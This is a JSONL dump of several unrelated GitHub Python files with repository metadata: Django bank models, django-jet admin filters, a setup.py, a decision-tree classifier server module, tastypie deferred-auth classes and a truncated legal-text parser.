"pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 119, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 111, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 135, "usage_type": "call"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 190, "usage_type": "call"}, {"api_name": "pytorch_widedeep.wdtypes.WideDeep", "line_number": 197, "usage_type": "call"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet._utils.create_explain_matrix", "line_number": 199, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 156, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 156, "usage_type": "attribute"}]}
{"seq_id": "27830868523", "text": "import re\n\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\n\nRE_ACCOUNT = r'[1-9][0-9]{9}'\nRE_CARD = r'[1-9][0-9]{15}'\n\n\ndef validate_account(number: int) -> None:\n    rule = re.compile(RE_ACCOUNT)\n\n    if not rule.search(str(number)):\n        raise ValidationError(f\"Incorrect account number - {number}\")\n\n\ndef validate_card(number: int) -> None:\n    rule = re.compile(RE_CARD)\n\n    if not rule.search(str(number)):\n        raise ValidationError(f\"Incorrect card number - {number}\")\n\n\nclass Account(models.Model):\n    number = models.PositiveBigIntegerField(\n        verbose_name='Account number',\n        primary_key=True,\n        unique=True,\n        null=False,\n        validators=[validate_account],\n    )\n\n    owner = models.ForeignKey(\n        verbose_name='User profile',\n        to='User',\n        on_delete=models.CASCADE,\n        null=True,\n    )\n\n    balance = models.DecimalField(\n        verbose_name='Balance',\n        max_digits=12,\n        decimal_places=2,\n        null=False,\n        default=0,\n    )\n\n    def __str__(self):\n        return f\"{self.number}\"\n\n    class Meta:\n        verbose_name = 'Account'\n        verbose_name_plural = 'Accounts'\n\n\nclass Card(models.Model):\n    number = models.PositiveBigIntegerField(\n        verbose_name='Card number',\n        primary_key=True,\n        unique=True,\n        null=False,\n        validators=[validate_card],\n    )\n\n    account = models.ForeignKey(\n        to='Account',\n        on_delete=models.CASCADE,\n        verbose_name='Account number',\n        null=False,\n    )\n\n    def __str__(self):\n        return f\"{self.number}\"\n\n    class Meta:\n        verbose_name = 'Card'\n        verbose_name_plural = 'Cards'\n\n\nclass Transaction(models.Model):\n    from_account = models.ForeignKey(\n        verbose_name='From account',\n        related_name='from_account',\n        to='Account',\n        on_delete=models.PROTECT,\n        null=True,\n    )\n\n    to_account = models.ForeignKey(\n        verbose_name='To account',\n        related_name='to_account',\n        to='Account',\n        on_delete=models.PROTECT,\n        null=True,\n    )\n\n    amount = models.DecimalField(\n        verbose_name='Amount',\n        max_digits=12,\n        decimal_places=2,\n        null=False,\n    )\n\n    date = models.DateTimeField(\n        verbose_name='Date',\n        auto_now_add=True,\n    )\n\n    postcard = models.CharField(\n        max_length=255,\n        default=\"\",\n    )\n\n    viewed = models.BooleanField(\n        default=False,\n    )\n\n    def __str__(self):\n        return f\"{self.from_account} - {self.to_account}\"\n\n    class Meta:\n        verbose_name = 'Transaction'\n        verbose_name_plural = 'Transactions'\n", "repo_name": "bigcrazyfrog/bank-service", "sub_path": "src/app/internal/bank/db/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 14, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.PositiveBigIntegerField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 56, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.PositiveBigIntegerField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 57, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 65, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 67, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 67, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 80, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 85, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 85, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 89, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 89, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 93, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 93, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 97, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 104, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 104, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 109, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 109, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}]}
{"seq_id": "18259498824", "text": "from django.contrib.admin import RelatedFieldListFilter, SimpleListFilter\nfrom django.utils.encoding import smart_str\nfrom django.utils.html import format_html\nfrom django.urls import reverse\nfrom django.contrib.admin.utils import get_model_from_relation\nfrom django.forms.utils import flatatt\n\n\nclass RelatedFieldAjaxListFilter(RelatedFieldListFilter):\n    template = 'jet/related_field_ajax_list_filter.html'\n    ajax_attrs = None\n\n    def has_output(self):\n        return True\n\n    def field_choices(self, field, request, model_admin):\n        model = field.remote_field.model if hasattr(field, 'remote_field') else field.related_field.model\n        app_label = model._meta.app_label\n        model_name = model._meta.object_name\n\n        self.ajax_attrs = format_html('{0}', flatatt({\n            'data-app-label': app_label,\n            'data-model': model_name,\n            'data-ajax--url': reverse('jet:model_lookup'),\n            'data-queryset--lookup': self.lookup_kwarg\n        }))\n\n        if self.lookup_val is None:\n            return []\n\n        other_model = get_model_from_relation(field)\n        if hasattr(field, 'rel'):\n            rel_name = field.rel.get_related_field().name\n        else:\n            rel_name = other_model._meta.pk.name\n\n        queryset = model._default_manager.filter(**{rel_name: self.lookup_val}).all()\n        return [(x._get_pk_val(), smart_str(x)) for x in queryset]\n\n\ntry:\n    from collections import OrderedDict\n    from django import forms\n    from django.contrib.admin.widgets import AdminDateWidget\n    from django.utils.translation import gettext_lazy as _\n    from rangefilter.filter import DateRangeFilter as OriginalDateRangeFilter\n\n\n    class DateRangeFilter(OriginalDateRangeFilter):\n        def get_template(self):\n            return 'rangefilter/date_filter.html'\n\n        def _get_form_fields(self):\n            # this is here, because in parent DateRangeFilter AdminDateWidget\n            # could be imported from django-suit\n            return OrderedDict((\n                (self.lookup_kwarg_gte, forms.DateField(\n                    label='',\n                    widget=AdminDateWidget(attrs={'placeholder': _('From date')}),\n                    localize=True,\n                    required=False\n                )),\n                (self.lookup_kwarg_lte, forms.DateField(\n                    label='',\n                    widget=AdminDateWidget(attrs={'placeholder': _('To date')}),\n                    localize=True,\n                    required=False\n                )),\n            ))\n\n        @staticmethod\n        def _get_media():\n            css = [\n                'style.css',\n            ]\n            return forms.Media(\n                css={'all': ['range_filter/css/%s' % path for path in css]}\n            )\nexcept ImportError:\n    pass\n\n\n\n\ndef multiple_choice_list_filter(**kwargs):\n    class MultipleChoiceListFilter(SimpleListFilter):\n        \"\"\"\n        Configuration:\n            A dict. containing following data:\n                - title (required): Label for filter\n                - parameter_name (optional; title will be considered):\n                    db column name\n                - lookup_choices (list of strings)\n\n        e.g.: multiple_choice_list_filter(**{\n            'title': 'status',\n            'parameter_name': 'status__in',\n            'lookup_choices': [o1, o2, o3]\n        })\n\n        version: 1.0.0\n        - List Choice filter with multiple value selection support\n        - lookups method should be defined in child class\n        version: 2.0.0\n        - Checkbox UI for selecting values to prevent page refresh on every\n            selection\n        - Option to pass kwargs for config. instead of creating subclass\n        \"\"\"\n        title = _(kwargs.pop('title', None))\n        parameter_name = kwargs.pop('parameter_name', None)\n        if parameter_name is None:\n            parameter_name = '%s__in' % title\n        lookup_choices = kwargs.pop('lookup_choices', None)\n        template = 'jet/multiple_choice_list_filter.html'\n\n        def lookups(self, request, model_admin):\n            \"\"\"\n            returns: a list of tuples (value, verbose value)\n            \"\"\"\n            if not self.lookup_choices:\n                ImproperlyConfigured(_('Choices are mandatory'))\n\n            lookup_options = [(c, c) for c in self.lookup_choices]\n            return sorted(lookup_options, key=lambda x: x[1])\n\n        def queryset(self, request, queryset):\n            if request.GET.get(self.parameter_name):\n                extra_kwargs = {\n                    self.parameter_name: request.GET[self.parameter_name].split(',')\n                }\n                queryset = queryset.filter(**extra_kwargs)\n            return queryset\n\n        def value_as_list(self):\n            return self.value().split(',') if self.value() else []\n\n        def choices(self, changelist):\n\n            def amend_query_string(include=None, exclude=None):\n                selections = self.value_as_list()\n                if include and include not in selections:\n                    selections.append(include)\n                if exclude and exclude in selections:\n                    selections.remove(exclude)\n                if selections:\n                    csv = ','.join(selections)\n                    return changelist.get_query_string({self.parameter_name: csv})\n                else:\n                    return changelist.get_query_string(remove=[self.parameter_name])\n\n            yield {\n                'selected': self.value() is None,\n                'query_string': changelist.get_query_string(\n                    remove=[self.parameter_name]),\n                'display': 'Reset',\n                'reset': True,\n            }\n            for lookup, title in self.lookup_choices:\n                yield {\n                    'selected': str(lookup) in self.value_as_list(),\n                    'query_string': changelist.get_query_string(\n                        {self.parameter_name: lookup}),\n                    'include_query_string': amend_query_string(include=str(lookup)),\n                    'exclude_query_string': amend_query_string(exclude=str(lookup)),\n                    'display': title,\n                }\n    return MultipleChoiceListFilter", "repo_name": "aksharahegde/django-jet-3-calm", "sub_path": "jet/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 6271, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.admin.RelatedFieldListFilter", "line_number": 9, "usage_type": "name"}, {"api_name": "django.utils.html.format_html", "line_number": 21, "usage_type": "call"}, {"api_name": "django.forms.utils.flatatt", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.admin.utils.get_model_from_relation", "line_number": 31, "usage_type": "call"}, {"api_name": "django.utils.encoding.smart_str", "line_number": 38, "usage_type": "call"}, {"api_name": "rangefilter.filter.DateRangeFilter", "line_number": 49, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 56, "usage_type": "call"}, {"api_name": "django.forms.DateField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 57, "usage_type": "name"}, {"api_name": "django.contrib.admin.widgets.AdminDateWidget", "line_number": 59, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 59, "usage_type": "call"}, {"api_name": "django.forms.DateField", "line_number": 63, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 63, "usage_type": "name"}, {"api_name": "django.contrib.admin.widgets.AdminDateWidget", "line_number": 65, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 65, "usage_type": "call"}, {"api_name": "django.forms.Media", "line_number": 76, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 76, "usage_type": "name"}, {"api_name": "django.contrib.admin.SimpleListFilter", "line_number": 86, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 109, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 121, "usage_type": "call"}]}
{"seq_id": "14372486482", "text": "from setuptools import setup, find_packages\r\n\r\nrequirements = ['MeshParser']\r\n\r\nlong_description = \"\"\"A Python library that converts a mesh from MeshParser to ex format.\r\n\"\"\"\r\n\r\nsetup(name=u'mesh2ex',\r\n      version='0.1.0',\r\n      description='Convert mesh to ex format.',\r\n      long_description=long_description,\r\n      classifiers=[],\r\n      author=u'Hugh Sorby',\r\n      author_email='',\r\n      url='https://github.com/ABI-Software/Mesh2Ex',\r\n      license='Apache',\r\n      packages=find_packages('src', exclude=['tests', 'tests.*', ]),\r\n      package_dir={'': 'src'},\r\n      zip_safe=True,\r\n      install_requires=requirements,\r\n      )\r\n", "repo_name": "ABI-Software/Mesh2Ex", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 643, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "setuptools.setup", "line_number": 8, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "34545633162", "text": "import io\nimport base64\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn import preprocessing\nimport server.utilities\nimport os\n\n\ndef importData(path):\n    \"\"\"Imports data from csv pile at given path and returns dataframe\"\"\"\n    df = pd.read_csv(path)\n    df = df.drop('toy', axis=1)\n    return df\n\n\ndef preprocess(df, target, data):\n    \"\"\"Performs necessary preprocessing on data\"\"\"\n    # col name = target, data matches to col\n    df[target] = df['id'].map(data)\n    cols_at_end = [target]\n    df = df[[c for c in df if c not in cols_at_end]\n            + [c for c in cols_at_end if c in df]]\n    df = df.drop('id', axis=1)\n    # print(df)\n    return df\n\n\ndef split(df):\n    \"\"\"Splits data into train and test sets\"\"\"\n    X = df.iloc[:, :-1]\n    y = df.iloc[:, -1]\n    X_train, X_test, y_train, y_test = train_test_split(\n        X, y, test_size=0.25, random_state=100)\n    return X_train, X_test, y_train, y_test\n\n\ndef train(X_train, y_train):\n    \"\"\"Trains the Decision Tree Classifier on the data\"\"\"\n    clf = DecisionTreeClassifier(criterion=\"entropy\", random_state=100)\n    clf = clf.fit(X_train, y_train)\n    return clf\n\n\ndef predict(tree, toy_id):\n    \"\"\"Predict the category value of a new, unseen toy\"\"\"\n    path = server.utilities.get_test_data_path()\n    df = importData(path)\n    X_test = df.loc[df['id'] == toy_id]\n    X_test = X_test.drop('id', axis=1)\n\n    y_pred = tree.predict(X_test)\n    return y_pred.tolist()\n\n# create a tree from the data\n\n\ndef create_tree(categories, data):\n    \"\"\"Create a decision tree that splits the given data between the given categories\"\"\"\n    target = categories[0]\n    # import the data without classification\n    path = server.utilities.get_data_path()\n    df = importData(path)\n    if(target in df.columns):\n        target = \"target\"\n    # preprocess the data by adding the target column with the given values\n    df = preprocess(df, target, data)\n    X_train, X_test, y_train, y_test = split(df)\n    tree = train(X_train, y_train)\n    return tree\n\n\ndef tree2image(tree, categories):\n    \"\"\"Generate an image of the generated tree\"\"\"\n    clf = tree\n    fn = [\"wheels\", \"size\", \"fluffy\", \"blue\",\n          \"brown\", \"green\", \"multi\", \"pink\", \"red\", \"white\"]\n    cn = categories\n    fig, _ = plt.subplots(nrows=1, ncols=1, figsize=(25, 10), dpi=300)\n    plot_tree(clf, feature_names=fn, class_names=cn,\n              filled=True, rounded=True, fontsize=14)\n\n    # Save figure image to a bytes buffer\n    buffer = io.BytesIO()\n    fig.savefig(buffer, format='png')\n    buffer.seek(0)\n    img_string = base64.b64encode(buffer.read())\n    return img_string\n\n\n# Calling main function\n# if __name__ == \"__main__\":\n#     from firebase_admin import credentials, storage, initialize_app\n#     import cloud_storage\n\n#     # Initialize Firestore DB\n#     cred = credentials.Certificate('src/key.json')\n#     firebase_app = initialize_app(cred)\n#     storage_bucket = storage.bucket(cloud_storage.BUCKETNAME)\n#     _id = \"123456\"\n\n#     tree = create_tree([\"outside\", \"inside\"], {\n#         \"bike_001\": 1,\n#         \"car_001\": 0,\n#         \"lego_001\": 0,\n#         \"trampoline_001\": 0,\n#         \"doll_001\": 0,\n#         \"teddy_001\": 0,\n#         \"xylophone_001\": 0,\n#         \"scooter_001\": 1,\n#         \"slide_001\": 1,\n#         \"swing_001\": 1,\n#         \"piano_001\": 0,\n#         \"train_001\": 0,\n#         \"tractor_001\": 1,\n#         \"play_doh_001\": 0\n#     })\n#     prediction = predict(tree, \"teddy_001\", 0, 1)\n#     print(prediction)\n#     img = tree2image(tree, [\"outside\", \"inside\"])\n#     tree_image_url = cloud_storage.upload_image(\n#         storage_bucket, f'trees/{_id}.png', img)\n#     print(tree_image_url)\n", "repo_name": "cdalenbrook/thesis_server", "sub_path": "src/server/decisiontree.py", "file_name": "decisiontree.py", "file_ext": "py", "file_size_in_byte": 3857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 43, "usage_type": "call"}, {"api_name": "server.utilities.utilities.get_test_data_path", "line_number": 50, "usage_type": "call"}, {"api_name": "server.utilities.utilities", "line_number": 50, "usage_type": "attribute"}, {"api_name": "server.utilities", "line_number": 50, "usage_type": "name"}, {"api_name": "server.utilities.utilities.get_data_path", "line_number": 65, "usage_type": "call"}, {"api_name": "server.utilities.utilities", "line_number": 65, "usage_type": "attribute"}, {"api_name": "server.utilities", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "sklearn.tree.plot_tree", "line_number": 83, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 87, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 90, "usage_type": "call"}]}
{"seq_id": "23565865631", "text": "from tastypie.authentication import Authentication\nfrom tastypie.authorization import Authorization\nfrom tastypiex.util import load_class\n\n\nclass DeferredAuthentication(Authentication):\n    \"\"\"\n    instantiate the authentication class at runtime instead\n    of at load time. with this, client applications can\n    define their own loaders without changing the actual\n    API, and they can also define chains of authentication\n    backends.\n\n    Use:\n        class SomeResource(Resource):\n            authentication = DeferredAuthentication('SOME_SETTING')\n\n        settings.py:\n            SOME_SETTING = ('path.to.backend', ...)\n\n        Every backend should needs at least an is_authenticated method.\n        It can be derived from tastypie.Authentication or from object, i.e.\n        you don't need a dependency to tastypie to make use of it.\n    \"\"\"\n\n    def __init__(self, setting=None,\n                 default_backend=None,\n                 require_active=True):\n        self.setting = setting\n        self.default_backend = default_backend or ('tastypie.authentication.Authentication',)\n        self._backends = []\n\n    def load_backends(self):\n        from django.conf import settings\n        backends = getattr(settings, self.setting, self.default_backend)\n        if isinstance(backends, str):\n            backends = (backends,)\n        for backend_name in backends:\n            backend = load_class(backend_name)()\n            self._backends.append(backend)\n        return self._backends\n\n    @property\n    def backends(self):\n        return self._backends or self.load_backends()\n\n    def is_authenticated(self, request, **kwargs):\n        for backend in self.backends:\n            result = backend.is_authenticated(request, **kwargs)\n            if result:\n                # store the actual authentication backend\n                # (as MultiAuthentication does)\n                request._authentication_backend = backend\n                return result\n        return False\n\n    def get_identifier(self, request):\n        for backend in self.backends:\n            if hasattr(backend, 'get_identifier'):\n                result = backend.get_identifier(request)\n                if result:\n                    return result\n        return super(DeferredAuthentication, self).get_identifier(request)\n\n    def check_active(self, user):\n        for backend in self.backends:\n            if hasattr(backend, 'check_active'):\n                result = backend.check_active(user)\n                if result:\n                    return result\n        return super(DeferredAuthentication, self).check_active(user)\n\n\nclass DeferredAuthorization(Authorization):\n    \"\"\"\n    instantiate the authorization class at runtime instead\n    of at load time. with this, client applications can\n    define their own loaders without changing the actual\n    API, and they can also define chains of authorization\n    backends.\n\n    Use:\n        class SomeResource(Resource):\n            authorization = DeferredAuthorization('SOME_SETTING')\n\n        settings.py:\n            SOME_SETTING = ('path.to.backend', ...)\n\n        Define those methods that you require, out of\n    \"\"\"\n\n    def __init__(self, setting=None,\n                 default_backend=None,\n                 require_active=True):\n        self.setting = setting\n        self.default_backend = default_backend or ('tastypie.authorization.Authorization')\n        self._backends = None\n\n    def load_backends(self):\n        from django.conf import settings\n        backends = getattr(settings, self.setting, self.default_backend)\n        if isinstance(backends, str):\n            backends = (backends,)\n        for backend_name in backends:\n            backend = load_class(backend_name)()\n            self._backends.append(backend)\n        return self._backends\n\n    @property\n    def backends(self):\n        return self._backends or self.load_backends()\n\n    def _check_method(meth):  # @NoSelf\n        \"\"\"\n        generate methods as defined below\n        \"\"\"\n\n        def inner(self, request, object_list):\n            for backend in self.backends:\n                cmeth = getattr(backend, meth)\n                result = cmeth(request, object_list)\n                if result:\n                    return result\n\n        inner.__doc__ = \"{}\".format(getattr(Authorization, meth).__doc__)\n        return inner\n\n    create_detail = _check_method('create_detail')\n    create_list = _check_method('create_list')\n    delete_detail = _check_method('delete_detail')\n    delete_list = _check_method('delete_list')\n    read_detail = _check_method('read_detail')\n    read_list = _check_method('read_list')\n    update_detail = _check_method('update_detail')\n    update_list = _check_method('update_list')\n", "repo_name": "miraculixx/tastypiex", "sub_path": "tastypiex/deferredauth.py", "file_name": "deferredauth.py", "file_ext": "py", "file_size_in_byte": 4739, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tastypie.authentication.Authentication", "line_number": 6, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 35, "usage_type": "name"}, {"api_name": "tastypiex.util.load_class", "line_number": 39, "usage_type": "call"}, {"api_name": "tastypie.authorization.Authorization", "line_number": 74, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 101, "usage_type": "name"}, {"api_name": "tastypiex.util.load_class", "line_number": 105, "usage_type": "call"}, {"api_name": "tastypie.authorization.Authorization", "line_number": 125, "usage_type": "argument"}]}
{"seq_id": "33782302620", "text": "import re\nimport glob\nimport json\nimport time\nimport faiss\nimport numpy as np\nimport unicodedata\nfrom dotenv import load_dotenv\n\nfrom tqdm import tqdm\nfrom langchain.vectorstores import FAISS\nfrom langchain.schema import Document\nfrom langchain.embeddings import HuggingFaceEmbeddings, HuggingFaceInstructEmbeddings\nimport uuid\nfrom langchain.docstore.in_memory import InMemoryDocstore\nfrom dataclasses import dataclass, fields\nfrom datetime import datetime\n\n# ADD TO CONTENT TO REMOVE \\XA STUFF\n# norm_i = unicodedata.normalize(\"NFKD\", i)\n# title += f\" {norm_i}\"\n\nenv_config = load_dotenv()  # create .env file with your OPENAI_API_KEY\n\n\n@dataclass\nclass ParsedDocument:\n    act_name: str\n    full_act_name: str\n    section_number: str\n    section_name: str\n    filter_tag: str\n    content: str\n    url: str\n    full_section: str\n\n    def __hash__(self):\n        return hash(self.content)\n\n\ndef delete_refs(input_string):\n    result = re.sub(r'\\[.*?\\]', '', input_string)\n    return result\n\n\ndef split_into_subsections(section, url, section_number):\n    section = delete_refs(section)\n    subsections = section.split(\".\")\n    # print(\"!!!!!!!!!!!!!!!!!!!!!!\")\n    # print(section)\n    # print(\"-----------------\")\n    # for x in subsections:\n    #    print(x)\n    # Connect cases, e.g 'of the Companies Act (Cap. 50), as the case may'\n    # e.g. sub sub sections started with (b) and '.' was before\n    connected_subsections = []\n    meta_subsection_number = {}\n    for i in range(len(subsections)):\n        if i == 0:\n            connected_subsections.append(subsections[i])\n            continue\n\n        s = subsections[i].strip()\n\n        if \"Deleted by\" in s:\n            continue\n\n        if not (s.startswith(\"[\") or s.startswith(\"(\")):\n            # fix problems with header before number as in section 12 of https://sso.agc.gov.sg/Act-Rev/ITA1947/Published/20211231?DocDate=20211231&ProvIds=P13-#P13-\n            try:\n                j_s = s.replace(\" \", \"\")\n                i1 = j_s.index(\"(\")\n                i2 = j_s.index(\")\")\n                if j_s[i2 + 1].isupper() and j_s[i1 + 1].isnumeric():\n                    ss = j_s[i1 + 1:i2]\n                    meta_subsection_number[s] = f\"({ss})\"\n                    # print(\"-------------\")\n                    # print(ss)\n                    # print(section_number, url)\n                    # print(\"Upper: \", s)\n                    # print([x[:10] for x in connected_subsections])\n                    # print(\"-------------\")\n                    connected_subsections.append(s)\n                    continue\n            except:\n                pass\n\n            old_sub = connected_subsections[-1]\n            connected_subsections[-1] = connected_subsections[-1] + \".\" + subsections[i]\n            if old_sub in meta_subsection_number:\n                ss = meta_subsection_number.pop(old_sub)\n                meta_subsection_number[connected_subsections[-1]] = ss\n        elif s.startswith(\"(\") and s.replace(\" \", \"\")[1].isalpha():\n            connected_subsections[-1] = connected_subsections[-1] + \".\" + subsections[i]\n        else:\n            connected_subsections.append(subsections[i])\n\n    subsections = {}\n    for x in connected_subsections:\n        if x in meta_subsection_number:\n            subsections[meta_subsection_number[x]] = x\n            continue\n        ss = ''\n        try:\n            if x.strip().index(\"(\") < 10:\n                x = x[x.strip().index(\"(\"):]\n        except ValueError as err:\n            subsections[ss] = x\n            continue\n\n        if x.strip().startswith('('):\n            ss = x[:x.index(\")\") + 1].strip()\n\n        if ss in subsections and ss:\n            # print(\"new ss: \", ss)\n            # print(\"new x: x\")\n            # input()\n            subsections[ss] = subsections[ss] + x\n        subsections[ss] = x\n\n    return subsections\n\n\ndef create_doc_filter_tag(doc_title):\n    return re.sub(r\"\\d+\", \"\", doc_title).replace(\" \", \"\")\n\n\ndef get_latest_urls(documents, fps):\n    docs_name_to_url = dict()\n    for doc, fp in zip(documents, fps):\n        title = re.sub(r'[0-9]+', '', doc[\"title\"]).strip(\" \")\n        # title = doc[\"title\"]\n        if title not in docs_name_to_url:\n            docs_name_to_url[title] = doc[\"url\"]\n        elif docs_name_to_url[title] != doc[\"url\"]:\n            try:\n                if \"/Act/\" in doc[\"url\"] and \"/Act-Rev/\" in docs_name_to_url[title]:\n                    docs_name_to_url[title] = doc[\"url\"]\n                    continue\n                print(\"doc['url']:\", doc[\"url\"])\n                if \"DocDate=\" in doc[\"url\"]:\n                    str_date = doc[\"url\"].split(\"DocDate=\")[1][:8]\n                else:\n                    str_date = \"\"\n                date_obj_new = datetime.strptime(str_date, \"%Y%m%d\")\n                date_obj_in_dict = datetime.strptime(docs_name_to_url[title].split(\"DocDate=\")[1][:8], \"%Y%m%d\")\n                if date_obj_new > date_obj_in_dict:\n                    docs_name_to_url[title] = doc[\"url\"]\n            except Exception as err:\n                print(docs_name_to_url[title], doc[\"url\"])\n                print(fp)\n                print(err)\n                input()\n\n    return list(docs_name_to_url.values()), docs_name_to_url\n\n\ndef parse_unstructured(body_data, url, short_title, act_name, regex_pattern=r\"^\\d+[A-Z]*\\.$\"):\n    part_name, paragraph_name = '', ''\n    start = None\n    parsed_documents = []\n    ignore_indices = []\n    for ind, line in enumerate(body_data):\n        pattern_matched = re.match(regex_pattern, line[:10])\n        if line.lower().startswith(\"part\"):\n            part_name = 'Part name: '\n            inds_to_check = [i for i in range(1, 5) if len(body_data) > ind + i]\n            for k in inds_to_check:\n                if body_data[ind + k].isupper() and not re.search(regex_pattern, body_data[ind + k][:10]):\n                    ignore_indices.append(ind + k)\n                    part_name += body_data[ind + k]\n        if pattern_matched:\n            if start is not None:\n                # paragraph_name = f\"#{section_number[:-1]} \" + paragraph_name\n                # part_pref = part_name + \". \" if part_name else \"\"\n                # structured[part_pref + paragraph_name] =\n                content = ' '.join([\n                    body_data[li] for li in range(start, ind - 1)\n                    if li not in ignore_indices\n                ])\n\n                full_section = unicodedata.normalize(\"NFKD\", content)\n\n                subsections = split_into_subsections(full_section, url, section_number)\n\n                content = f\"{short_title}. {paragraph_name}. \" + full_section\n\n                parsed_documents.append(\n                    ParsedDocument(\n                        act_name=short_title,\n                        full_act_name=act_name,\n                        section_number=section_number[:-1],\n                        section_name=paragraph_name,\n                        filter_tag=create_doc_filter_tag(short_title),\n                        content=content,\n                        url=url,\n                        full_section=full_section\n                    )\n                )\n\n            for j in range(ind - 1, -1, -1):\n                if re.search(regex_pattern, body_data[j][:10]):\n                    continue\n                else:\n                    ignore_indices.append(j)\n                    paragraph_name = body_data[j]\n                    break\n\n            start = ind + 1\n            section_number = pattern_matched.group(0)\n    return parsed_documents\n\n\nt1 = time.time()\n\ndata_files_path = \"data/combined/\"\nfiles = glob.glob(f\"{data_files_path}*.json\")\nprint(files)\nall_parsed_documents = {}\nurl_to_revised_year = {}\nskipped = []\n\nlatest_urls = []\n\nall_data = []\nfps = []\nfor file_path in files:\n    if \"Supplement\" in file_path:\n        continue  # ignore this docs as they are a description of what were changed in the main act\n    with open(file_path, \"r\") as f:\n        data = json.load(f)\n        all_data.extend(data)\n        fps.extend([file_path] * len(data))\n\nlatest_urls, urls_as_dict = get_latest_urls(all_data, 